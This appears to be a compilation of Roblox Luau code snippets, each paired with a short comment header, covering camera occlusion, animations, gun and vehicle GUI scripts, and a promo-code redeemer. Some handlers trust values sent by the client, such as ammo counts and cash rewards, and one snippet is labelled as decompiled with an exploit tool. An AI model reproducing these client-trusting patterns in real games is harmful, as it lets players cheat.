jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = getTool()
if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--[[ Module functions ]] | --
function Invisicam:LimbBehavior(castPoints)
for limb, _ in pairs(self.trackedLimbs) do
castPoints[#castPoints + 1] = limb.Position
end
end
function Invisicam:MoveBehavior(castPoints)
for i = 1, MOVE_CASTS do
local position: Vector3, velocity: Vector3 = self.humanoidRootPart.Position, self.humanoidRootPart.Velocity
local horizontalSpeed: number = Vector3.new(velocity.X, 0, velocity.Z).Magnitude / 2
local offsetVector: Vector3 = (i - 1) * self.humanoidRootPart.CFrame.lookVector :: Vector3 * horizontalSpeed
castPoints[#castPoints + 1] = position + offsetVector
end
end
function Invisicam:CornerBehavior(castPoints)
local cframe: CFrame = self.humanoidRootPart.CFrame
local centerPoint: Vector3 = cframe.Position
local rotation = cframe - centerPoint
local halfSize = self.char:GetExtentsSize() / 2 --NOTE: Doesn't update w/ limb animations
castPoints[#castPoints + 1] = centerPoint
for i = 1, #CORNER_FACTORS do
castPoints[#castPoints + 1] = centerPoint + (rotation * (halfSize * CORNER_FACTORS[i]))
end
end
function Invisicam:CircleBehavior(castPoints)
local cframe: CFrame
if self.mode == MODE.CIRCLE1 then
cframe = self.humanoidRootPart.CFrame
else
local camCFrame: CFrame = self.camera.CoordinateFrame
cframe = camCFrame - camCFrame.Position + self.humanoidRootPart.Position
end
castPoints[#castPoints + 1] = cframe.Position
for i = 0, CIRCLE_CASTS - 1 do
local angle = (2 * math.pi / CIRCLE_CASTS) * i
local offset = 3 * Vector3.new(math.cos(angle), math.sin(angle), 0)
castPoints[#castPoints + 1] = cframe * offset
end
end
function Invisicam:LimbMoveBehavior(castPoints)
self:LimbBehavior(castPoints)
self:MoveBehavior(castPoints)
end
function Invisicam:CharacterOutlineBehavior(castPoints)
local torsoUp = self.torsoPart.CFrame.upVector.unit
local torsoRight = self.torsoPart.CFrame.rightVector.unit
-- Torso cross of points for interior coverage
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoUp
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoUp
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoRight
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoRight
if self.headPart then
castPoints[#castPoints + 1] = self.headPart.CFrame.p
end
local cframe = CFrame.new(ZERO_VECTOR3,Vector3.new(self.camera.CoordinateFrame.lookVector.X,0,self.camera.CoordinateFrame.lookVector.Z))
local centerPoint = (self.torsoPart and self.torsoPart.Position or self.humanoidRootPart.Position)
local partsWhitelist = {self.torsoPart}
if self.headPart then
partsWhitelist[#partsWhitelist + 1] = self.headPart
end
for i = 1, CHAR_OUTLINE_CASTS do
local angle = (2 * math.pi * i / CHAR_OUTLINE_CASTS)
local offset = cframe * (3 * Vector3.new(math.cos(angle), math.sin(angle), 0))
offset = Vector3.new(offset.X, math.max(offset.Y, -2.25), offset.Z)
local ray = Ray.new(centerPoint + offset, -3 * offset)
local hit, hitPoint = game.Workspace:FindPartOnRayWithWhitelist(ray, partsWhitelist, false)
if hit then
-- Use hit point as the cast point, but nudge it slightly inside the character so that bumping up against
-- walls is less likely to cause a transparency glitch
castPoints[#castPoints + 1] = hitPoint + 0.2 * (centerPoint - hitPoint).unit
end
end
end
function Invisicam:SmartCircleBehavior(castPoints)
local torsoUp = self.torsoPart.CFrame.upVector.unit
local torsoRight = self.torsoPart.CFrame.rightVector.unit
-- SMART_CIRCLE mode includes rays to head and 5 to the torso.
-- Hands, arms, legs and feet are not included since they
-- are not canCollide and can therefore go inside of parts
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoUp
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoUp
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoRight
castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoRight
if self.headPart then
castPoints[#castPoints + 1] = self.headPart.CFrame.p
end
local cameraOrientation = self.camera.CFrame - self.camera.CFrame.p
local torsoPoint = Vector3.new(0,0.5,0) + (self.torsoPart and self.torsoPart.Position or self.humanoidRootPart.Position)
local radius = 2.5
-- This loop first calculates points in a circle of radius 2.5 around the torso of the character, in the
-- plane orthogonal to the camera's lookVector. Each point is then raycast to, to determine if it is within
-- the free space surrounding the player (not inside anything). Two iterations are done to adjust points that
-- are inside parts, to try to move them to valid locations that are still on their camera ray, so that the
-- circle remains circular from the camera's perspective, but does not cast rays into walls or parts that are
-- behind, below or beside the character and not really obstructing view of the character. This minimizes
-- the undesirable situation where the character walks up to an exterior wall and it is made invisible even
-- though it is behind the character.
for i = 1, SMART_CIRCLE_CASTS do
local angle = SMART_CIRCLE_INCREMENT * i - 0.5 * math.pi
local offset = radius * Vector3.new(math.cos(angle), math.sin(angle), 0)
local circlePoint = torsoPoint + cameraOrientation * offset
-- Vector from camera to point on the circle being tested
local vp = circlePoint - self.camera.CFrame.p
local ray = Ray.new(torsoPoint, circlePoint - torsoPoint)
local hit, hp, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {self.char}, false, false )
local castPoint = circlePoint
if hit then
local hprime = hp + 0.1 * hitNormal.unit -- Slightly offset hit point from the hit surface
local v0 = hprime - torsoPoint -- Vector from torso to offset hit point
local perp = (v0:Cross(vp)).unit
-- Vector from the offset hit point, along the hit surface
local v1 = (perp:Cross(hitNormal)).unit
-- Vector from camera to offset hit
local vprime = (hprime - self.camera.CFrame.p).unit
-- This dot product checks to see if the vector along the hit surface would hit the correct
-- side of the invisicam cone, or if it would cross the camera look vector and hit the wrong side
if ( v0.unit:Dot(-v1) < v0.unit:Dot(vprime)) then
castPoint = RayIntersection(hprime, v1, circlePoint, vp)
if castPoint.Magnitude > 0 then
local ray = Ray.new(hprime, castPoint - hprime)
local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {self.char}, false, false )
if hit then
local hprime2 = hitPoint + 0.1 * hitNormal.unit
castPoint = hprime2
end
else
castPoint = hprime
end
else
castPoint = hprime
end
local ray = Ray.new(torsoPoint, (castPoint - torsoPoint))
local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {self.char}, false, false )
if hit then
local castPoint2 = hitPoint - 0.1 * (castPoint - torsoPoint).unit
castPoint = castPoint2
end
end
castPoints[#castPoints + 1] = castPoint
end
end
function Invisicam:CheckTorsoReference()
if self.char then
self.torsoPart = self.char:FindFirstChild("Torso")
if not self.torsoPart then
self.torsoPart = self.char:FindFirstChild("UpperTorso")
if not self.torsoPart then
self.torsoPart = self.char:FindFirstChild("HumanoidRootPart")
end
end
self.headPart = self.char:FindFirstChild("Head")
end
end
function Invisicam:CharacterAdded(char: Model, player: Player)
-- We only want the LocalPlayer's character
if player~=PlayersService.LocalPlayer then return end
if self.childAddedConn then
self.childAddedConn:Disconnect()
self.childAddedConn = nil
end
if self.childRemovedConn then
self.childRemovedConn:Disconnect()
self.childRemovedConn = nil
end
self.char = char
self.trackedLimbs = {}
local function childAdded(child)
if child:IsA("BasePart") then
if LIMB_TRACKING_SET[child.Name] then
self.trackedLimbs[child] = true
end
if child.Name == "Torso" or child.Name == "UpperTorso" then
self.torsoPart = child
end
if child.Name == "Head" then
self.headPart = child
end
end
end
local function childRemoved(child)
self.trackedLimbs[child] = nil
-- If removed/replaced part is 'Torso' or 'UpperTorso' double check that we still have a TorsoPart to use
self:CheckTorsoReference()
end
self.childAddedConn = char.ChildAdded:Connect(childAdded)
self.childRemovedConn = char.ChildRemoved:Connect(childRemoved)
for _, child in pairs(self.char:GetChildren()) do
childAdded(child)
end
end
function Invisicam:SetMode(newMode: number)
AssertTypes(newMode, 'number')
for _, modeNum in pairs(MODE) do
if modeNum == newMode then
self.mode = newMode
self.behaviorFunction = self.behaviors[self.mode]
return
end
end
error("Invalid mode number")
end
function Invisicam:GetObscuredParts()
return self.savedHits
end
|
--[=[
@function update
@within Array
@param array {T} -- The array to update.
@param index number -- The index to update.
@param updater? (value: T, index: number) -> T -- The updater function.
@param callback? (index: number) -> T -- The callback function.
@return {T} -- The updated array.
Updates an array at the given index. If the value at the given index does
not exist, `callback` will be called, and its return value will be used
as the value at the given index.
```lua
local array = { 1, 2, 3 }
local new = Update(array, 2, function(value)
return value + 1
end) -- { 2, 3, 3 }
local new = Update(array, 4, function(value)
return value + 1
end, function(value)
return 10
end) -- { 1, 2, 3, 10 }
```
]=] |
local function update<T>(array: { T }, index: number, updater: Updater<T>?, callback: Callback<T>?): { T }
local length = #array
local result = Copy(array)
if index < 1 then
index += length
end
updater = if type(updater) == "function" then updater else Util.func.returned
if result[index] ~= nil then
result[index] = updater(result[index], index)
else
result[index] = call(callback, index)
end
return result
end
return update
|
--Viewmodel |
if Module.VMIdleAnimationID ~= nil then
local VMIdleAnim = Instance.new("Animation",Tool)
VMIdleAnim.Name = "VMIdleAnim"
VMIdleAnim.AnimationId = "rbxassetid://"..Module.VMIdleAnimationID
end
if Module.VMFireAnimationID ~= nil then
local VMFireAnim = Instance.new("Animation",Tool)
VMFireAnim.Name = "VMFireAnim"
VMFireAnim.AnimationId = "rbxassetid://"..Module.VMFireAnimationID
end
if Module.VMReloadAnimationID ~= nil then
local VMReloadAnim = Instance.new("Animation",Tool)
VMReloadAnim.Name = "VMReloadAnim"
VMReloadAnim.AnimationId = "rbxassetid://"..Module.VMReloadAnimationID
end
if Module.VMShotgunClipinAnimationID ~= nil then
local VMShotgunClipinAnim = Instance.new("Animation",Tool)
VMShotgunClipinAnim.Name = "VMShotgunClipinAnim"
VMShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunClipinAnimationID
end
if Module.VMShotgunPumpinAnimationID ~= nil then
local VMShotgunPumpinAnim = Instance.new("Animation",Tool)
VMShotgunPumpinAnim.Name = "VMShotgunPumpinAnim"
VMShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunPumpinAnimationID
end
if Module.VMHoldDownAnimationID ~= nil then
local VMHoldDownAnim = Instance.new("Animation",Tool)
VMHoldDownAnim.Name = "VMHoldDownAnim"
VMHoldDownAnim.AnimationId = "rbxassetid://"..Module.VMHoldDownAnimationID
end
if Module.VMEquippedAnimationID ~= nil then
local VMEquippedAnim = Instance.new("Animation",Tool)
VMEquippedAnim.Name = "VMEquippedAnim"
VMEquippedAnim.AnimationId = "rbxassetid://"..Module.VMEquippedAnimationID
end
if Module.SecondaryFireAnimationEnabled and Module.VMSecondaryFireAnimationID ~= nil then
local VMSecondaryFireAnim = Instance.new("Animation",Tool)
VMSecondaryFireAnim.Name = "VMSecondaryFireAnim"
VMSecondaryFireAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryFireAnimationID
end
if Module.VMSecondaryShotgunPump and Module.VMSecondaryShotgunPumpinAnimationID ~= nil then
local VMSecondaryShotgunPumpinAnim = Instance.new("Animation",Tool)
VMSecondaryShotgunPumpinAnim.Name = "VMSecondaryShotgunPumpinAnim"
VMSecondaryShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryShotgunPumpinAnimationID
end
if Module.TacticalReloadAnimationEnabled and Module.VMTacticalReloadAnimationID ~= nil then
local VMTacticalReloadAnim = Instance.new("Animation",Tool)
VMTacticalReloadAnim.Name = "VMTacticalReloadAnim"
VMTacticalReloadAnim.AnimationId = "rbxassetid://"..Module.VMTacticalReloadAnimationID
end
if Module.InspectAnimationEnabled and Module.VMInspectAnimationID ~= nil then
local VMInspectAnim = Instance.new("Animation",Tool)
VMInspectAnim.Name = "VMInspectAnim"
VMInspectAnim.AnimationId = "rbxassetid://"..Module.VMInspectAnimationID
end
ChangeMagAndAmmo.OnServerEvent:connect(function(Player,Mag,Ammo)
MagValue.Value = Mag
AmmoValue.Value = Ammo
end)
Tool.Equipped:connect(function()
--Player = game.Players:GetPlayerFromCharacter(Tool.Parent)
--Character = Tool.Parent
--Humanoid = Character:FindFirstChild("Humanoid")
if Module.DualEnabled and workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand")
local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip",0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:connect(function()
if Module.DualEnabled and workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
|
-- Gun |
local heldGun = nil
local heldGunHeat = nil
local heatConnection = nil
local onColor = Color3.fromRGB(50, 51, 50)
local offColor = Color3.fromRGB(195, 195, 195)
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
if i ~= 0 then
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 20
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
function Gear()
local gearText = script.Parent.Parent.Values.Gear.Value
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
if gearText > 0 then
script.Parent.Tach.Gear.Text = "D"
elseif gearText == 0 then
script.Parent.Tach.Gear.Text = "N"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false)
elseif gearText == -1 then
script.Parent.Tach.Gear.Text = "R"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true)
end
elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
if gearText > 0 then
script.Parent.Tach.Gear.Text = "S"..gearText
elseif gearText == 0 then
script.Parent.Tach.Gear.Text = "N"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false)
elseif gearText == -1 then
script.Parent.Tach.Gear.Text = "R"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true)
end
end
elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then
if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
if gearText > 0 then
script.Parent.Tach.Gear.Text = "M"..gearText
elseif gearText == 0 then
script.Parent.Tach.Gear.Text = "N"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false)
elseif gearText == -1 then
script.Parent.Tach.Gear.Text = "R"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true)
end
elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
if gearText > 0 then
script.Parent.Tach.Gear.Text = gearText
elseif gearText == 0 then
script.Parent.Tach.Gear.Text = "N"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false)
elseif gearText == -1 then
script.Parent.Tach.Gear.Text = "R"
car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true)
end
end
end
end
Gear()
local moving = false
car.Electrics.Changed:Connect(function()
if car.Electrics.Value == true then
moving = true
local ts = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false)
local goal = {}
goal.Rotation = 270
local a = ts:Create(script.Parent.Speedo.Needle, tweenInfo, goal)
a:Play()
a = ts:Create(script.Parent.Tach.Needle, tweenInfo, goal)
a:Play()
local goal2 = {}
goal2.Rotation = 180
a = ts:Create(intach, tweenInfo, goal2)
a:Play()
a = ts:Create(inspd, tweenInfo, goal2)
a:Play()
wait(1)
goal.Rotation = 45
a = ts:Create(script.Parent.Speedo.Needle, tweenInfo, goal)
a:Play()
a = ts:Create(script.Parent.Tach.Needle, tweenInfo, goal)
a:Play()
goal2.Rotation = -90
a = ts:Create(intach, tweenInfo, goal2)
a:Play()
a = ts:Create(inspd, tweenInfo, goal2)
a:Play()
wait(1)
goal2.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
a = ts:Create(script.Parent.Tach.Needle, tweenInfo, goal2)
a:Play()
goal2.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
a = ts:Create(script.Parent.Speedo.Needle, tweenInfo, goal2)
wait(1)
moving = false
end
end)
car.DriveSeat.LI.Changed:connect(function()
if car.DriveSeat.LI.Value == true then
script.Parent.TMode.Left.Visible = true
else
script.Parent.TMode.Left.Visible = false
end
end)
car.DriveSeat.RI.Changed:connect(function()
if car.DriveSeat.RI.Value == true then
script.Parent.TMode.Right.Visible = true
else
script.Parent.TMode.Right.Visible = false
end
end)
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
function as()
script.Parent.TMode.AS.Visible = car.ControlPanelHandler.Values.AS.Value
end
as()
car.ControlPanelHandler.Values.AS.Changed:connect(as)
function astog()
script.Parent.TMode.AS2.Visible = not car.ControlPanelHandler.Values.ASTog.Value
script.Parent.TMode.OFF.Visible = not car.ControlPanelHandler.Values.ASTog.Value
end
astog()
car.ControlPanelHandler.Values.ASTog.Changed:connect(astog)
script.Parent.Parent.Values.RPM.Changed:connect(function()
if car.ControlPanelHandler.Values.AS.Value == false and moving == false then
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -90 + script.Parent.Parent.Values.RPM.Value * 270 / 8000
else
script.Parent.Tach.Needle.Rotation = 60
end
end)
script.Parent.Parent.Values.Gear.Changed:connect(Gear)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
Gear()
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
Gear()
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
Gear()
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
if moving == false then
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speedo.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)
inspd.Rotation = -90 + (270 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end
end)
script.Parent.Speedo.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speedo.Speed.Unit.Text = UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--Codes |
local codelist = {
code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
code2 = "HALLOWEEN"
}
script.Parent.MouseButton1Click:Connect(function()
if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date.
if not codes:FindFirstChild("Code1") then -- This one here
RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
script.Parent.Text = "Code redeemed successfully!"
script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox
wait(2)
script.Parent.Text = "Redeem Code"
else
script.Parent.Text = "Code already redeemed!"
wait(2)
script.Parent.Text = "Redeem Code"
end
else
script.Parent.Text = "Code expired!"
wait(2)
script.Parent.Text = "Redeem Code"
end
elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary...
if not codes:FindFirstChild("Code2") then -- This one here
RE:FireServer(30, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
script.Parent.Text = "Code redeemed successfully!"
script.Parent.Parent.CodeHandler.Text = ""
wait(2)
script.Parent.Text = "Redeem Code"
else
script.Parent.Text = "Code already redeemed!"
wait(2)
script.Parent.Text = "Redeem Code"
end
else
script.Parent.Text = "Code invalid!"
script.Parent.Parent.CodeHandler.Text = ""
wait(2)
script.Parent.Text = "Redeem Code"
end
end)
|
-- Preload animations |
function PlayAnimation(AnimName, TransitionTime, Humanoid)
local IdleFromEmote = (AnimName == "Idle" and EmoteNames[CurrentAnim] ~= nil)
if AnimName ~= CurrentAnim and not IdleFromEmote then
if CurrentAnimTrack then
CurrentAnimTrack:Stop(TransitionTime)
CurrentAnimTrack:Destroy()
end
CurrentAnimSpeed = 1
local Roll = math.random(1, AnimTable[AnimName].TotalWeight)
local OrigRoll = roll
local Index = 1
while Roll > AnimTable[AnimName][Index].Weight do
Roll = Roll - AnimTable[AnimName][Index].Weight
Index = Index + 1
end |
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__Bricks__1 = game:GetService("ReplicatedStorage"):WaitForChild("Bricks");
local u2 = "AchievementUnlock";
local v3 = l__Bricks__1:WaitForChild("AchievementUnlock").OnClientEvent:Connect(function(...)
require(script:WaitForChild("Modules"):WaitForChild(u2))(m, ...);
end);
|
----------------------------------------------------------------------
--
-- HERE BE DRAGONS!
--
-- You can hack together your own scripts using the objects
-- in here, but this is all highly experimental and *WILL BREAK*
-- in a future release. If that bothers you, look away...
--
-- T
--
----------------------------------------------------------------------- |
local Board = script.Parent
local Controller
local Gyro
local CoastingAnim
local KickAnim
local LeftAnim
local RightAnim
local OllieAnim
|
--------------------------------------------------------------- |
function onChildAdded(something)
if something.Name == "SeatWeld" then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
s.speedo:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
end
end
end
function onChildRemoved(something)
if (something.Name == "SeatWeld") then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human Found")
game.Players:findFirstChild(human.Parent.Name).PlayerGui.speedo:remove()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
-- Module |
local SPRING = {}
local Meta = {__index = SPRING}
|
--Put this in a brick to make it move.
